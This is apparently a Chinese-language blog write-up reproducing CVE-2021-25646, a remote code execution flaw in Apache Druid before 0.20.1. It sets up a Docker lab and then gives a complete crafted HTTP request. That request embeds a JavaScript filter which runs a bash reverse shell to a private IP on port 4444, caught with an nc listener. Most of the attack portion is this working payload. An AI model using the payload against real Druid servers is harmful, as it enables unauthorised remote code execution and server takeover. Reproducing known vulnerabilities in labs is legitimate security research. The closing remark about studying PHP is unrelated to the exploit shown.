Apache Druid命令执行漏洞(CVE-2021-25646)复现

一如既往的国际惯例~~~~
漏洞概述
Apache Druid 是用Java编写的面向列的开源分布式数据存储,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。
Apache Druid 包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在 Druid 0.20.0 及更低版本中,经过身份验证的用户可以构造传入的json串来控制一些敏感的参数发送恶意请求,利用 Apache Druid 漏洞可以执行任意代码。
时间轴
2021-01-17
阿里云安全向Apache官方报告了Apache Druid远程代码执行漏洞
2021-01-29
Apache Druid官方发布了漏洞补丁,分配CVE编号为CVE-2021-25646。
影响版本
Apache Druid < 0.20.1
环境搭建
我们拉取镜像并启动Apache Druid:0.16.0版本的漏洞环境
docker pull fokkodriesprong/docker-druid
docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid
访问http://your-ip:8888即可进入靶场环境



填入
Base directory: quickstart/tutorial/
File filter: wikiticker-2015-09-12-sampled.json.gz




随便填,然后点击Add开启burp代理抓包

修改内容为
POST /druid/indexer/v1/sampler?for=filter HTTP/1.1
Host: 192.168.91.150:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 508
Origin: http://192.168.91.150:8888
Connection: close
Referer: http://192.168.91.150:8888/unified-console.html
{"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript", "function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.2.135/4444 0>&1')}", "dimension":"added", "":{ "enabled":"true" } }}}},"samplerConfig":{"numRows":500,"cacheKey":"73a90acaae2b1ccc0e969709665bc62f"}}
同时nc -nlvp开启监听

反弹连接成功!!

总结
要狠狠恶补一下PHP了 (o-o)